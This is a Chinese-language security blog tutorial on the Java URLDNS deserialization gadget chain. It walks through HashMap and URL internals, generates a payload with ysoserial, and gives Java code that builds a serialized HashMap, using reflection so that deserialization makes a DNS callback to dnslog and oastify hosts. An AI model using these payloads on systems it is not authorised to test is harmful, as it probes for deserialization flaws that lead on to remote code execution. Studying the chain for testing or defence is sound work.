JAVA安全之URLDNS链

JAVA安全之URLDNS链

一个对于新手非常友好的链子,不是很复杂

1
2
3
4
5
*   Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()

利用效果是发起一次远程请求,而不能去执行命令。基本上是用来测试是否存在反序列化漏洞的一个链,比如在一些无法回显执行命令的时候,可以通过URLDNS链去发送一个dns解析请求,如果dnslog收到了请求,就证明了存在漏洞。

前置知识

Java反序列化

先简单了解一下概念

Java提供了一种对象序列化的机制,用一个字节序列表示一个对象,该字节包含对象的数据、对象的类型、对象的存储属性。字节序列写出到文件后,相当于可以持久报错了一个对象信息,这过程叫做序列化。序列化对象会通过ObjectOutputStream​的writeObject​方法将一个对象写入到文件中。

而反序列化是使用了readObject​ 方法进行读取并还原成在序列化前的一个类。

这一步骤并没有什么安全问题,但是如果反序列化的数据是可控的情况下,那么我们就可以从某个输入点,输入恶意代码,再去查找在哪个点,我们的输入会被一层一层的带去到我们的触发点去,而这一步叫做寻找利用链的步骤。

可以反序列化必须满足以下几个条件:

1.类必须实现 java.io.Serializable​ 接口(最基本)

2.需要存在一个可利用的类,其readObject()方法或其他方法中存在可被利用的逻辑,例如执行命令、读取文件等

3.序列化和反序列化的类需要具有相同的serialVersionUID

Java反射

首先来说一下正射
我们在编写代码时,当需要使用到某一个类的时候,都会先了解这个类是做什么的。然后实例化这个类,接着用实例化好的对象进行操作,这就是正射。

1
2
Student student =new Student();
student.doHomework("数学");

反射
反射就是,一开始并不知道我们要初始化的类对象是什么,自然也无法使用new关键字来创建对象了。

1
2
3
Class clazz =Class.forName("reflection.Student");
Method method =clazz.getMethod("doHomework",String.class); Constructor constructor=clazz.getConstructor();
Object object=constructor.newInstance(); method.invoke(object,“语文");

反射的作用:让java具有动态性;修改已有对象的属性;动态生成对象;动态调用方法;操作内部类和私有方法

在反序列化漏洞中的应用:定制需要的对象;通过invoke调用除了同名函数以外的函数;通过Class类创建对象,引入不能序列化的类

具体的讲解就不过多赘述了,可以参考一下

https://www.cnblogs.com/erosion2020/p/18559481

URLDNS链利用

ysoserial项目地址:ysoserial

jdk版本低于9,并且windows自带的防火请实时保护要关闭

拉取项目源码,导入到IDEA中。

看到pom.xml知道该项目是个maven的项目,点击pom.xml 进行刷新,将缺少的依赖给下载下来

image

拉取完后有红的部分也不会影响正常运行

image

将生成的序列化payload保存,后面用一个测试demo读取文件数据再给他反序列化一下,观察dnslog请求就可以了。

这里要用项目生成的.jar文件

image

java -jar target\ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://sb9p8h.dnslog.cn"

java -jar target\ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://sb9p8h.dnslog.cn" > D:\test\abc.ser

image

反序列化测试demo

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class unserialize {
public static void main(String[] args) throws IOException, ClassNotFoundException {
// 反序列化的类
ObjectInputStream ois = new ObjectInputStream((new FileInputStream("D:/test/abc.ser")));
// 读出来并反序列化
ois.readObject();
ois.close();
}
}

image

返回dnslog.cn点击refresh record

image

URLDNS链分析

HashMap结合URL触发DNS检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。之后再用各种gadget去尝试试RCE。
HashMap最早出现在JDK1.2中,底层基于散列算法实现。而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的。所以对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。因此,HashMap实现了自己的 writeObject和readObject方法。
因为是研究反序列化问题,所以我们来看一下它的readObject方法

image

image

然后再跟进一下hash函数

image

这里传入了一个对象,当对象不为空时,调用hashCode

URL实现了序列化接口

image

看一眼URL的hashCode是什么逻辑

image

image

image

这里的hashCode默认为就是-1,所以就会正常往下走,会调用handler的hashCode方法,点进去看一下

image

这里对传进来的做了一个处理,顾名思义就是根据域名来获取地址也就是域名解析的意思

也就是说如果我们调用了URL内的hashCode函数,我们就可以得到一个DNS请求

总结一下这个整体思路:

hashmap->readObject->hash-URL.hashcode->getHostAddress->InetAddress.getByName(host);

亲手构造

分析完这个链子,我们自己手搓一个

首先要明确HashMap.readObject()​ 在反序列化时会对键值对进行 put()​ 操作,put()​ 会调用 key 的 hashCode()​,如果 key 是 java.net.URL​,就会触发其 DNS 解析行为,所以我们构造一个 HashMap<URL, String>​,并通过反射让 URL.hashCode()​ 在反序列化时第一次被调用

先写了一份序列化的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.*;
import java.util.HashMap;
import java.net.URL;

public class UnserializeTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
hashMap.put(new URL("http://jd059pldcd9un4aoffkrsnxldcj37uvj.oastify.com"),1);
serialize(hashMap);
}
}

按理来说什么也不会发生,但是可以看到,序列化的时候就已经接收到请求了

image

反而反序列化收不到了,那这是什么情况呢

我们跟到hashmap的put函数里面

image

这里为了确保键的唯一,就已经调用hash方法也就调用了hashcode

序列化调用hashcode之后就已经改变了,已经是url的hashcode,在反序列化的时候就不会执行后面了

那么该怎么改进才能避免这种情况呢

第一点,我们在序列化之前不要发起请求

第二点,我们要put之后把hashcode改回-1

所以我们要用java的反射来改变已有对象属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;

public class UnserializeTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
//把url的hashcode改为不是-1
URL url = new URL("http://gyi2um6axaur81vl0c5odkiiy940stgi.oastify.com");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1111);
hashMap.put(url,1);
//将hashcode改为-1
hashcodefield.set(url,-1);
serialize(hashMap);
}
}

再执行一下

image

这个时候序列化就查询不到了

再反序列化一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package ysoserial.test;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception {
unserialize("ser.bin");
}
}


image

到这里就已经是成功了

为了更直接的看,在这里下个断点debug一下

image

反序列化的时候调一下看看

image

当前这个状态hashcode是-1,代表我们-1赋值成功


JAVA安全之URLDNS链
http://example.com/post/java-secure-urldns-link-z2cryuz.html
作者
Dre4m
发布于
2025年7月30日
许可协议